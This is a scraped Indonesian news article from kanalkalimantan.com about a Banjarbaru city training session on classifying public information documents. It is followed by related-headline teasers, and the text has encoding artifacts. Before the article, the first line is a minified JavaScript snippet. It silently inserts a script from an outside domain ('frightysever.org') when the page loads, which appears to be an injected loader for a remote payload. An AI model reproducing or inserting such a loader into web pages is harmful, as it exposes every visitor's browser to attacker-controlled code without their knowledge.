(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Undang-Undang Nomor 14 tahun 2008 tentang keterbukaan informasi publik mengatur kewajiban badan publik terbuka berkaitan dengan berbagai informasi yang dimilikinya.
Keterbukaan informasi tersebut dilakukan demi memenuhi hak masyarakat untuk mengetahui, mengakses, menyimpan, dan menggunakan informasi pengembangan diri dan sosial.
Selain itu, keterbukaan informasi diarahkan untuk meningkatkan partisipasi masyarakat dalam proses pengambilan keputusan publik.
Baca juga:Â Silaturahmi ke Tuan Guru di Kampung Melayu, Wabup Sampaikan Pentingnya Vaksin
Wali Kota Banjarbaru Aditya Mufti Ariffin SH MH didampingi Plh Kepala Dinas Kominfo Kota Banjarbaru Khairurrijaal membuka kegiatan bimbingan teknis “Pengklasifikasian Dokumen Informasi Publik dan Pelayanan Informasiâ€, di Aula Gawi Sabarataan, Balai Kota, Rabu (1/12/2021).
“Salah satu fungsi pemerintahan yang kini semakin disorot masyarakat adalah pelayanan publik yang diselengggarakan oleh instansi pemerintah, termasuk pelayanan informasi berkualitas, mudah, cepat, dan biaya ringan,†ujarnya.
Keterbukaan informasi publik telah mengatur tentang klasifikasi informasi publik berdasarkan derajat kegunaannya. Yaitu informasi publik yang wajib disediakan dan diumumkan secara berkala, informasi publik yang harus diumumkan secara serta merta, informasi yang wajib tersedia setiap saat, dan informasi yang dikecualikan.
“Namun, pemenuhan hak atas informasi, bukan berarti kebebasan yang bersifat mutlak, apalagi bila permohonan yang diajukan terbukti tidak memiliki tujuan jelas atau tujuan permohonan tidak dapat dipertanggungjawabkan secara hukum,†katanya.
Baca juga:Â Terobos Perkampungan Banjir HST, Pengungsi Tidur di Lokasi Terbuka Jalan ke Persawahan
“Disinilah petugas pelayanan informasi harus terus mengembangkan wawasannya. Jangan sampai informasi yang sifatnya rahasia justru diumumkan dan diberikan kepada pemohon, dan informasi yang seharusnya diumumkan justru tidak diumumkan,†bebernya.
Kabid Komunikasi dan Informasi Publik Herry Isdaryoko, panitia pelaksana kegiatan, mengatakan, bimtek bertujuan untuk profesionalisme dan kompetensi admin SIP PPID khususnya dalam mengklasifikasikan dokumen informasi publik dan pelayanan informasi.
“Meningkatkan kinerja unit kerja dalam hal penyediaan dan publikasi informasi publik pada aplikasi SIP PPID di lingkungan Pemerintah Kota Banjarbaru. Dan meminimalisir terjadinya sengketa informasi akibat tidak dipublikasikannya informasi publik kepada masyarakat,†bebernya.
Metode Bimtek yang digunakan adalah pendidikan orang dewasa, apresiatif, partisipatif, diskusi kelompok, simulasi dan permainan, serta presentasi. Peserta bimbingan teknis terdiri dari 60 admin SIP-PPID di SKPD, kelurahan, dan bagian pada Sekretariat Daerah Kota Banjarbaru. (kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.